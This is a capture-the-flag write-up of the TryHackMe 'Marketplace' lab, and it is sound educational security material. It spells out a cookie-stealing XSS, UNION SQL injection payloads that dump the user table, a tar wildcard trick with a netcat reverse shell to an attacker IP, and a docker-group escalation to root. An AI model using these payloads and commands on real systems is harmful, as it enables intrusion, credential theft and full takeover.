We demonstrated gaining root access to a docker container running a web server with an SQL database. We started off by exploiting a reflected XSS vulnerability in the website that is running an e-commerce marketplace.
This enabled us to proceed and gain administrative access to the admin account where we discovered an SQL injection that let us go further and reveal the database records. We used the records to login as SSH and perform privilege escalation by exploiting the wild card in the archiving tool tar which eventually landed us in a docker container. By mounting the root file system to a container of our choice, we were able to extract the root flag. This was part of TryHackMe The Marketplace.
Initial Reconnaissance and Gaining Access
First, I started with an Nmap scan to identify open ports and services. The command I used was nmap <IP_ADDRESS>
. This scan revealed three open ports: 234 (SSH), 80 (HTTP), and 32768 (Node.js web server). It also helped me discover an /admin
directory by checking the robots.txt
file.
Next, I explored the e-commerce website, which had standard functionalities like login, sign-up, and product listings. I quickly identified the “New Listing” feature as a potential Cross-Site Scripting (XSS) attack vector. I confirmed this vulnerability with a simple reflected XSS payload: <script>alert('hello')</script>
. The “Report listing to admins” feature was crucial here, as it meant an admin would visit the page containing my payload.
To gain further access, I used a more advanced XSS payload to steal the admin’s cookie. This payload fetched document.cookie
, encoded it in base64, and sent it to a listener I controlled. I set up a Python HTTP server to listen for the incoming cookie using the command: python -m http.server 8000
. After reporting the malicious listing, I received the admin’s cookie. I then decoded it from base64 using: echo "<BASE64_COOKIE_STRING>" | base64 -d
.
Finally, I performed session hijacking by using the stolen admin cookie to replace my current user’s cookie in the browser’s developer tools. Refreshing the /admin
page granted me access to the admin area, where I found the first flag.
Database Exploitation (SQL Injection)
In the admin area, I noticed a list of users, and clicking on them changed the URL, revealing a user
parameter with an ID (e.g., /admin?user=3
). This was a prime candidate for SQL injection.
I started by using a UNION SELECT
statement to determine the number of columns in the table. I assumed four columns, so my payload looked something like: ?user=<ID> UNION SELECT 1,2,3,4
.
Then, I began enumerating databases using the GROUP_CONCAT(schema_name)
function within the UNION SELECT
to list all database names from information_schema.schemata
. An example payload was: UNION SELECT 1,GROUP_CONCAT(schema_name),3,4 FROM information_schema.schemata
.
After that, I enumerated tables by using GROUP_CONCAT(table_name)
to list tables from information_schema.tables
for the “marketplace” database. My payload was similar to: UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema='marketplace'
.
Next, I enumerated columns using GROUP_CONCAT(column_name)
to list columns from information_schema.columns
for the “users” table. An example payload was: UNION SELECT 1,GROUP_CONCAT(column_name),3,4 FROM information_schema.columns WHERE table_name='users' AND table_schema='marketplace'
.
Finally, I dumped user data by using GROUP_CONCAT
to retrieve all data (ID, username, password, is_administrator) from the “users” table in the “marketplace” database. My payload was like: UNION SELECT 1,GROUP_CONCAT(id,0x3a,username,0x3a,password,0x3a,is_administrator SEPARATOR 0x0a),3,4 FROM marketplace.users
. I also applied the same SQL injection methodology to the “messages” table, which revealed a temporary SSH password for a user.
With the discovered SSH password, I was able to gain a user shell by logging in as the user “Jake” using the command: ssh jake@<IP_ADDRESS>
. This gave me the user flag.
Privilege Escalation
Once I had Jake’s shell, I immediately checked his sudo privileges using the command: sudo -l
. I discovered that Jake could run a backup script (/opt/backup.sh
) as the user “Michael” without a password.
I then analyzed the backup script and found that it used tar
with a wildcard (*
) to back up files in /opt/backups
. The command in the script was: tar cf /opt/backups/backup.tar *
. This use of tar
with a wildcard is a known vulnerability, often found on GTFOBins.
To exploit this, I created a shell script (shell.sh
) containing a netcat reverse shell, with content similar to: nc -e /bin/bash <ATTACKER_IP> 4545
. I also created two other files to trigger the tar exploit:
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
I then gave execute permissions to shell.sh
using: chmod +x shell.sh
. Finally, I executed the backup script as Michael using sudo: sudo -u michael /opt/backup.sh
. This triggered the reverse shell, giving me access as the user “Michael.”
Docker Exploitation (Root Access)
As “Michael,” I checked my group memberships using the id
command and found that I was part of the docker
group. This meant I could interact with Docker. I listed the Docker images using docker images
or docker image ls
.
A common Docker privilege escalation technique is to run a new container and mount the host’s root filesystem into the container. I used the following command to achieve root access: docker run -v /:/mnt --rm -it <IMAGE_NAME> chroot /mnt sh
. In this command, alpine
was used as the image name, and the host’s root directory (/
) was mounted to /mnt
inside the container.
After executing this Docker command, I obtained a root shell on the host system. I navigated to /root
using cd /root
and then used cat root.txt
to retrieve the final root flag.
This entire process involved exploiting web vulnerabilities, Linux privilege escalation, and Docker container breakout to achieve full system compromise. It was a challenging but rewarding experience!
TryHackMe The Marketplace Room Answers
What is flag 2? (User.txt)
What is flag 3? (Root.txt)